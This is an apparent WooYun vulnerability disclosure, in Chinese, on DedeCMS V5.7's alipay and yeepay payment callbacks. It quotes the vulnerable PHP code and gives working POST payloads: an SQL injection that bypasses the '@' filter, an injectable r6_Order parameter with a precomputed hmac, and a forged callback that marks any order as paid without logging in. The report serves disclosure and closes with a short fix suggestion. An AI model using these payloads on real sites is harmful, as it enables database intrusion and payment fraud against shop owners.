由于织梦对@做了过滤，故而想起了我之前提交的一个支付接口漏洞，然后我就去做了测试，果然六月中旬发布的最新版本还没有修复此漏洞，这里我在这个的基础上面延伸出来三个漏洞，1.不用@也可以绕过防御，2.就是两处支付接口的sql注入利用，3.就是任意产品单号的任意支付 而且不用登陆的，这个太bug了

详细说明：

首先我们要回顾一下当时我的一个大胆猜想：

http://wooyun.org/bugs/wooyun-2014-063744

这里已经对此漏洞进行了充分的证明，那么接下来我们继续看看

include/payment/alipay.php:(lines:141-146)

if(preg_match ("/S-P[0-9]+RN[0-9]/",$order_sn)) {
            //检查支付金额是否相符
            $row = $this->dsql->GetOne("SELECT * FROM detest_shops_orders WHERE oid = '{$order_sn}'");
          var_dump($row['priceCount'] == $_GET['total_fee']);
            if ($row['priceCount'] != $_GET['total_fee'])
            {
                return $msg = "支付失败，支付金额与商品总价不相符!";
            }
            $this->mid = $row['userid'];
            $ordertype="goods";

这里我用var_dump打印了那个逻辑，就是为了不让走到return那里面

然后我们看（lines:164-192）

reset($_GET);

        $sign = '';
        foreach ($_GET AS $key=>$val)
        {
            if ($key != 'sign' && $key != 'sign_type' && $key != 'code' && $key != 'dopost')
            {
                $sign .= "$key=$val&";
            }
        }

var_dump($payment['alipay_key']);
        $sign = substr($sign, 0, -1).$payment['alipay_key'];
        var_dump($sign);
var_dump(md5($sign));
var_dump($_GET['sign']);
        if (md5($sign) != $_GET['sign'])
        {
            return $msg = "支付失败!";
        }
        if($_GET['trade_status'] == 'TRADE_FINISHED' || $_GET['trade_status'] == 'WAIT_SELLER_SEND_GOODS' || $_GET['trade_status'] == 'TRADE_SUCCESS')
        {
            if($ordertype=="goods"){ 
                if($this->success_db($order_sn))  return $msg = "支付成功!<br> <a href='/'>返回主页</a> <a href='/member'>会员中心</a>";
                else  return $msg = "支付失败！<br> <a href='/'>返回主页</a> <a href='/member'>会员中心</a>";
            } else if ( $ordertype=="member" ) {
                $oldinf = $this->success_mem($order_sn,$pname,$product,$pid);
                return $msg = "<font color='red'>".$oldinf."</font><br> <a href='/'>返回主页</a> <a href='/member'>会员中心</a>";
            }

这里我也打印了此处的所有涉及的中间变量：

然后让逻辑走到$this->success_db($order_sn)这个的时候，我们跟踪到这个函数里面

include/dedesql.class.sql:(lines:255-226)

if($this->safeCheck) CheckSql($this->queryString,'update');
$t1 = ExecTime();
echo $this->queryString;
$rs = mysql_query($this->queryString,$this->linkID);

这里我们打印了要执行的sql语句，那么接下来我们访问：

url:http://v57.demo.dedecms.com/plus/carbuyaction.php

post_data:

dopost=return&code=alipay&out_trade_no=S-P0098RN0098' and char("'")=(SELECT user())#&total_fee=&sign=06f4c5710c9faa468a0628bab208d77d&trade_status=TRADE_FINISHED



如图所示：

这里我们捕捉到两条sql语句：

1.SELECT state FROM dede_shops_orders WHERE oid='S-P0098RN0098' and char("'")=(SELECT user())#' LIMIT 0,1;



2.UPDATE `dede_shops_orders` SET `state`='1' WHERE `oid`='S-P0098RN0098' and char("'")=(SELECT user())#' AND `userid`=''



第一条 以往的 我们这里char(@`'`),就会造成这样的结果:

我们的目的就是引入注释符号，和sql的查询语句，所以当我们这里改变成为

char("'")=(SELECT user())#'成功绕过了此防御，这里只能说明一点，织梦确实对@进行了处理，但是引发了其他问题，此sql语句在sql执行器里面完美执行：

第二个问题就是这里的sql注入了，问题是我上一次提交的这个支付接口的时候由于全局没有添加request的入口文件，造成这里没有对post的数据进行转移过滤，当然了payment/apliay.php肯定此时是存在sql注入的，那么按照这个思路我们去找一下还有一个支付接口同样存在问题，

payment/yeepay.php,分析如下：

定位到文件/inlcude/payment/yeepay.php(lines:144-179):

/* 引入配置文件 */ $code = preg_replace( "#[^0-9a-z-]#i", "", $_REQUEST['code'] ); require_once DEDEDATA.'/payment/'.$code.'.php'; $p1_MerId = trim($payment['yp_account']); $merchantKey = trim($payment['yp_key']); # 解析返回参数. $return = $this->getCallBackValue($r0_Cmd, $r1_Code, $r2_TrxId, $r3_Amt, $r4_Cur, $r5_Pid, $r6_Order, $r7_Uid, $r8_MP, $r9_BType, $hmac); # 判断返回签名是否正确（True/False） $bRet = $this->CheckHmac($p1_MerId,$merchantKey,$r0_Cmd,$r1_Code,$r2_TrxId,$r3_Amt,$r4_Cur,$r5_Pid,$r6_Order,$r7_Uid,$r8_MP,$r9_BType,$hmac); # 校验码正确. if($bRet) { if($r1_Code=="1") { /*判断订单类型*/ if(preg_match ("/S-P[0-9]+RN[0-9]/",$r6_Order)) { //获取用户mid $row = $this->dsql->GetOne("SELECT * FROM detest_shops_orders WHERE oid = '{$r6_Order}'"); $this->mid = $row['userid']; $ordertype="goods"; } else if (preg_match ("/M[0-9]+T[0-9]+RN[0-9]/",$r6_Order)){ $row = $this->dsql->GetOne("SELECT * FROM detest_member_operation WHERE buyid = '{$r6_Order}'"); //获取订单信息，检查订单的有效性 if(!is_array($row)||$row['sta']==2) return $msg = "您的订单已经处理，请不要重复提交!"; $ordertype = "member"; $product = $row['product']; $pname= $row['pname']; $pid=$row['pid']; $this->mid = $row['mid']; } else { return $msg = "支付失败，您的订单号有问题!"; }

在154行getCallBackValue这个函数，我们跟进去看看，令人吃惊的是：

function getCallBackValue(&$r0_Cmd,&$r1_Code,&$r2_TrxId,&$r3_Amt,&$r4_Cur,&$r5_Pid,&$r6_Order,&$r7_Uid,&$r8_MP,&$r9_BType,&$hmac) { $r0_Cmd = $_REQUEST['r0_Cmd']; $r1_Code = $_REQUEST['r1_Code']; $r2_TrxId = $_REQUEST['r2_TrxId']; $r3_Amt = $_REQUEST['r3_Amt']; $r4_Cur = $_REQUEST['r4_Cur']; $r5_Pid = $_REQUEST['r5_Pid']; $r6_Order = $_REQUEST['r6_Order']; $r7_Uid = $_REQUEST['r7_Uid']; $r8_MP = $_REQUEST['r8_MP']; $r9_BType = $_REQUEST['r9_BType']; $hmac = $_REQUEST['hmac']; return NULL; }

该函数没有做任何处理，那么经过该函数的所有参数流向sql语句，必定导致sql注入： 构造请求如下： url：http://localhost/DedeCMS-V5.7-UTF8-SP1/uploads/plus/carbuyaction.php post_data:dopost=return&code=yeepay&r0_Cmd=s1&r1_Code=1&r2_TrxId=s3&r3_Amt=s4&r4_Cur=s5&r5_Pid=s6&r6_Order=S-P0098RN0098'&r7_Uid=s8&r8_MP=s9&r9_BType=s10&hmac=7ba6b76c95d25eb488505505518fbd5d 然后执行，我们同样注释掉： 146：require_once DEDEDATA.'/payment/'.$code.'.php'; 发送请求后，查看后台sql语句为： SELECT * FROM dede_shops_orders WHERE oid = 'S-P0098RN0098'' LIMIT 0,1 发现特殊字符进入sql语句，构成sql注入 我们下来看看我们为什么要这样去构造post数据：

$bRet = $this->CheckHmac($p1_MerId,$merchantKey,$r0_Cmd,$r1_Code,$r2_TrxId,$r3_Amt,$r4_Cur,$r5_Pid,$r6_Order,$r7_Uid,$r8_MP,$r9_BType,$hmac); # 校验码正确. if($bRet) { if($r1_Code=="1") { /*判断订单类型*/ if(preg_match ("/S-P[0-9]+RN[0-9]/",$r6_Order))

发现要进入到sql语句必须满足，三个条件 1.$bRet == true 2.$r1_Code == 1 3.满足正则表达式 首先我们进入到CheckHmac函数：

function CheckHmac($p1_MerId,$merchantKey,$r0_Cmd,$r1_Code,$r2_TrxId,$r3_Amt,$r4_Cur,$r5_Pid,$r6_Order,$r7_Uid,$r8_MP,$r9_BType,$hmac) { if($hmac == $this->getCallbackHmacString($p1_MerId,$merchantKey,$r0_Cmd,$r1_Code,$r2_TrxId,$r3_Amt,$r4_Cur,$r5_Pid,$r6_Order,$r7_Uid,$r8_MP,$r9_BType)) return TRUE; else return FALSE; }

发现这个函数当我们传递进去的$hmac == getCallbackHmacString(......)这个函数的返回值时候，那我们就会满足第一个条件 所以我们构造post数据为： dopost=return&code=yeepay&r0_Cmd=s1&r1_Code=1&r2_TrxId=s3&r3_Amt=s4&r4_Cur=s5&r5_Pid=s6&r6_Order=S-P0098RN0098'&r7_Uid=s8&r8_MP=s9&r9_BType=s10&hmac=7ba6b76c95d25eb488505505518fbd5d 这时候有由于我们下载的官方软件，不知道怎么由于里面一个require导致，程序无法继续，接下来我们构造post请求，然后去官方的sp1测试站点进行测试，看看理论是否符合实际 这两处都是符合第一个正则条件： preg_match ("/S-P[0-9]+RN[0-9]/",$r6_Order) post_data1: dopost=return&code=yeepay&r0_Cmd=s1&r1_Code=1&r2_TrxId=s3&r3_Amt=s4&r4_Cur=s5&r5_Pid=s6&r6_Order=S-P0098RN0098'&r7_Uid=s8&r8_MP=s9&r9_BType=s10&hmac=7ba6b76c95d25eb488505505518fbd5d 对应的后台sql为: SELECT * FROM dede_shops_orders WHERE oid = 'S-P0098RN0098'' LIMIT 0,1



这个东西是我上一次提交的，没有被审核通过，这次再贴上，道理是相同的一模一样，因为代码：

$p1_MerId = trim($payment['yp_account']);
        $merchantKey = trim($payment['yp_key']);
        
        #  解析返回参数.
        $return = $this->getCallBackValue($r0_Cmd, $r1_Code, $r2_TrxId, $r3_Amt, $r4_Cur, $r5_Pid, $r6_Order, $r7_Uid, $r8_MP, $r9_BType, $hmac);
        
        #  判断返回签名是否正确（True/False）
        $bRet = $this->CheckHmac($p1_MerId,$merchantKey,$r0_Cmd,$r1_Code,$r2_TrxId,$r3_Amt,$r4_Cur,$r5_Pid,$r6_Order,$r7_Uid,$r8_MP,$r9_BType,$hmac);

这里所输入的东西，完全是有post里面的东西控制的，没有任何其他来源：

请求url：

http://localhost/DedeCMS-V5.7-UTF8-SP1/uploads/plus/carbuyaction.php



post_data:

dopost=return&code=yeepay&r0_Cmd=s1&r1_Code=1&r2_TrxId=s3&r3_Amt=s4&r4_Cur=s5&r5_Pid=s6&r6_Order=S-P0098RN0098'&r7_Uid=s8&r8_MP=s9&r9_BType=s10&hmac=7ba6b76c95d25eb488505505518fbd5d



在查询入口处打印sql语句为:

后续怎么利用的话，和让面的绕过方法一样





下来我们看这个任意的订单绕过，并且支付成功：

前面我们不是看到了一个sql语句

UPDATE `dede_shops_orders` SET `state`='1' WHERE `oid`='S-P0098RN0098' and char("'")=(SELECT user())#' AND `userid`=''



那么问题就出来了，此处的oid我们可以控制，然后我们不用登陆，可以利用sql注入去任意设置userid的值，也可以登陆后这个userid就是我们自己的了，我们发送一个url：

http://192.168.10.70/DedeCMS-V5.7-UTF8-SP1/uploads/plus/carbuyaction.php

post_data:

dopost=return&code=alipay&out_trade_no=S-P0098RN0098&total_fee=&sign=70e47597b9ef99007cefc3a220f746ce&trade_status=TRADE_FINISHED

通过逻辑一步步绕过，并且更改了此订单S-P0098RN0098的状态，如果我们该自己的，那么我们这里就只要换一个自己的订单号，如图所示：

如果想改变其他人的支付状态，那么就利用sql注入了



ok 到此为止就分析完了

漏洞证明：

修复方案：

过滤 过滤 再 过滤 最好对支付这里有一个后台的秘钥值 参与进来运算